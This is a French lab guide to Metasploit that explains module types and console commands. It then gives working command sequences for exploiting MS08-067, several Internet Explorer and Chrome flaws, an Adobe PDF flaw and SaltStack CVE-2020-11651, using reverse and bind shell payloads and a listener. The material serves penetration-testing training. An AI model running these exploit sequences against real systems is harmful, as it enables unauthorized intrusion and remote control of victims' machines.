Introduction
Ce guide explore les fondamentaux de l'utilisation du Metasploit Framework (MSF), un outil puissant pour les professionnels de la sécurité et les testeurs d'intrusion. Nous aborderons les différents types de modules disponibles, les commandes clés, et présenterons des exemples pratiques d'exploitation de vulnérabilités courantes.
- Concepts Fondamentaux de Metasploit
1.1 Les Sept Catégories de Modules MSF
Le répertoire /usr/share/metasploit-framework/modules/ abrite les différents types de modules utilisés par MSF. Le module evasion, ajouté dans MSF 5, est relativement nouveau.
- Exploit : Ce module contient le code permettant d'exploiter une faille de sécurité ou une faiblesse de configuration sur un système cible afin d'obtenir un accès.
- Payload : Une fois l'exploit réussi, le payload est le code qui s'exécute sur la machine cible pour établir une connexion de retour ou fournir un contrôle. Il existe trois types de payloads :
- Single : Un payload autonome qui contient tout le nécessaire.
- Stager : Un petit payload conçu pour transférer un payload plus important lorsque les ressources de la cible sont limitées.
- Stages : Le payload principal, téléchargé et exécuté par un stager.
- Encoder : Utilisé pour modifier l'apparence du payload afin d'éviter la détection par les antivirus ou les systèmes de détection d'intrusion, sans altérer sa fonctionnalité.
- Auxiliary (Aux) : Modules conçus pour des tâches auxiliaires telles que le scan de ports, la reconnaissance, le fuzzing, ou le brute-force, qui aident à la préparation d'une attaque.
- Post-exploitation (Post) : Modules exécutés après qu'un accès initial a été obtenu. Ils permettent de collecter des informations supplémentaires, d'escalader les privilèges, ou de se déplacer latéralement dans le réseau.
- Nops : Génère des séquences d'instructions sans opération (NOP) qui peuvent être utilisées pour remplir des zones de mémoire ou ajuster des adresses de retour, souvent pour stabiliser un exploit.
- Evasion : Modules dédiés à la génération de charges utiles "indétectables" ou obfusquées pour contourner les défenses.
1.2 Commandes Essentielles de la Console MSF
Voici quelques commandes fondamentales pour interagir avec la console Metasploit :
banner: Affiche la bannière de démarrage de Metasploit.cd: Change le répertoire de travail courant dans le système de fichiers de MSF.color: Active ou désactive la coloration de la sortie.connect: Établit une connexion avec un hôte distant.exit/quit: Quitte la console Metasploit.get/getg: Récupère la valeur d'une variable (contexte spécifique ou globale).grep: Filtre la sortie d'une autre commande.help: Affiche l'aide générale ou l'aide pour une commande spécifique.history: Affiche l'historique des commandes.load: Charge un plugin du framework.route: Ajoute une route via une session active.save: Sauvegarde les données actives.sessions: Liste et gère les sessions actives.set/setg: Définit la valeur d'une variable (contexte spécifique ou globale).sleep: Met en pause l'exécution pendant un nombre de secondes spécifié.spool: Écrit la sortie de la console dans un fichier.threads: Affiche et gère les threads d'arière-plan.unload: Décharge un plugin.unset/unsetg: Supprime la valeur d'une variable.version: Affiche la version de Metasploit.
- Journal d'Expérimentation Pratique
Avant de commencer, il est conseillé de désactiver le pare-feu sur les machines cibles, de vérifier la connectivité réseau (ping) et l'ouverture des ports pertinents.
2.1 Exploitation d'une Vulnérabilité Active
2.1.1 Exploitation MS08-067 avec shell_reverse_tcp
Utilisation de la vulnérabilité MS08-067 sur une machine cible Windows 2000 Server.
msfconsole
use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp
set LHOST <IP_Attaquant>
set LPORT 4444
set RHOST <IP_Cible>
set target 0 # Sélection automatique de la cible
exploit
Si l'attaque réussit, une session shell sera établie.
2.2 Attaque Ciblant un Navigateur Web
2.2.1 Exploitation MS10-018 avec bind_tcp
Exploitation de la vulnérabilité MS10-018 d'Internet Explorer sur une machine Windows XP.
use exploit/windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST <IP_Cible_XP>
set target 0
exploit
Après l'exécution, ouvrez l'URL fournie (http://<IP_Attaquant>:8080/...) dans le navigateur de la machine cible. Si le pare-feu est désactivé, une session Meterpreter devrait être créée.
2.2.2 Exploitation MS06-013 avec createtextrange
Utilisation de la vulnérabilité MS06-013 dans Internet Explorer.
use exploit/windows/browser/ms06_013_createtextrange
set payload windows/meterpreter/reverse_tcp
set RHOST <IP_Cible_XP>
set target 0
exploit
Accédez à l'URL servie par MSF dans le navigateur de la cible. Le navigateur devrait se fermer et une session Meterpreter peut être établie en utilisant sessions -i [ID_Session].
2.2.3 Exploitation Chrome (CVE-2019-5786) avec reverse_tcp
Exploitation d'une vulnérabilité UAF (Use-After-Free) dans Chrome.
use exploit/windows/browser/chrome_filereader_uaf
set payload windows/meterpreter/reverse_tcp
set URIPATH /
set LHOST <IP_Attaquant>
exploit
Lancez Chrome sur la machine cible avec l'option --no-sandbox et naviguez vers l'URL fournie par MSF. Une session Meterpreter sera obtenue.
2.3 Attaque Ciblant un Client (Adobe/Office)
2.3.1 Exploitation Adobe CoolType (SYN) avec reverse_tcp
Génération d'un PDF malveillant exploitant une faille Adobe CoolType.
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST <IP_Attaquant>
set LPORT 11214
set FILENAME vulnerable_document.pdf
set target 0
exploit
Copiez le fichier PDF généré sur la machine cible et ouvrez-le. Lancez ensuite un module d'écoute (handler) dans MSF :
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <IP_Attaquant>
set LPORT 11214
exploit
L'ouverture du PDF par la victime devrait déclencher la connexion.
2.3.2 Exploitation WinRAR (ACE) avec reverse_tcp
Des modules spécifiques peuvent cibler des versions vulnérables de WinRAR via l'exploitation de l'archive ACE.
Note: La configuration exacte dépend du module spécifique trouvé et de la version de WinRAR installée.
2.4 Utilisation d'un Module Auxiliaire
2.4.1 Scanner d'IP avec ipidseq
Le module auxiliary/scanner/ip/ipidseq peut être utilisé pour découvrir des hôtes actifs sur un réseau en exploitant les paquets IP ID.
use auxiliary/scanner/ip/ipidseq
set RHOSTS <Plage_IP_Cibles>
set TIMEOUT 5
exploit
2.5 Exploitation de CVE-2020-11651 (SaltStack)
2.5.1 Vue d'ensemble
Cette vulnérabilité dans SaltStack permet l'exécution de commandes à distance sans authentification via l'exposition de la méthode send_pub. Un attaquant peut utiliser une clé "root" pour exécuter des commandes arbitraires sur le serveur Salt Master.
2.5.2 Configuration de l'environnement Cible
Utilisation de Docker pour déployer un environnement SaltStack vulnérable :
git clone https://gitee.com/sin29/vulhub.git
cd vulhub/saltstack/CVE-2020-11651
docker-compose up -d
docker ps
2.5.3 Exploitation
Installer une version antérieure de Salt (ex: 2019.2.3) sur la machine attaquante.
pip3 install salt==2019.2.3 --ignore-installed PyYAML
# Ou utiliser un miroir :
# pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple salt==2019.2.3
Utiliser un script Python (disponible publiquement, souvent basé sur des analyses de bravery9) pour interagir avec le Salt Master.
Le script permet de tester la vulnérabilité, lire des fichiers, exécuter des commandes (avec ou sans retour), ou établir une connexion shell inversée.
2.5.4 Utilisation de MSF
Une fois le contrôle obtenu via l'exploit SaltStack, on peut transférer un payload MSF (ex: Meterpreter) sur la cible via Apache, accorder les permissions d'exécution, et l'exécuter pour établir une connexion avec un listener MSF configuré sur la macchine attaquante.
- Problèmes Rencontrés
- Exploit failed [unreachable] : Souvent dû à un service inaccessible, un port bloqué, ou une incompatibilité de version de l'OS cible. La modification du port par défaut ou le choix d'une autre cible peut aider.
- Port 445 non ouvert : Peut être résolu en modifiant la configuration du registre Windows pour activer le partage SMB.
- Échec de création de session : Parfois lié à des problèmes de compatibilité avec les versions localisées (français) de Windows ou à des configurations réseau spécifiques. L'utilisation de versions anglaises des OS cibles est souvent recommandée.
- Questions et Réponses
- Exploit, Payload, Encode :
- Exploit : Le mécanisme ou le code qui tire parti d'une vulnérabilité pour obtenir un accès non autorisé.
- Payload : Le code exécuté sur la cible après l'exploitation, qui réalise l'action désirée (ex: ouvrir un shell).
- Encode : Le processus de modification du payload pour le rendre moins suspect ou pour éviter la détection par des signatures connues.
- Limites en Situation Réelle :
- Les exploits sont souvent spécifiques à des versions précises de systèmes et de logiciels.
- Certaines attaques nécessitent une interaction utilisateur (cliquer sur un lien, ouvrir un fichier).
- La présence de protections comme les antivirus avancés, le Sandboxing, ou l'ASLR peut compliquer l'exécution des exploits et des payloads.
- Conclusion et Réflexions
L'utilisation pratique de Metasploit renforce la compréhension de son fonctionnement et de ses capacités. Bien que des défis subsistent, notamment dans la configuration des environnements et la gestion des incompatibilités, l'expérimentation régulière permet de maîtriser davantage cet outil essentiel pour la sécurité offensive.
Il est important de noter la différence entre un environnement de laboratoire contrôlé et un environnement de production réel. Les tactiques employées dans les exercices peuvent être adaptées pour des scénarios réalistes, en tenant compte des contraintes et des opportunités présentes dans des environnements moins sécurisés ou nécessitant une interaction humaine.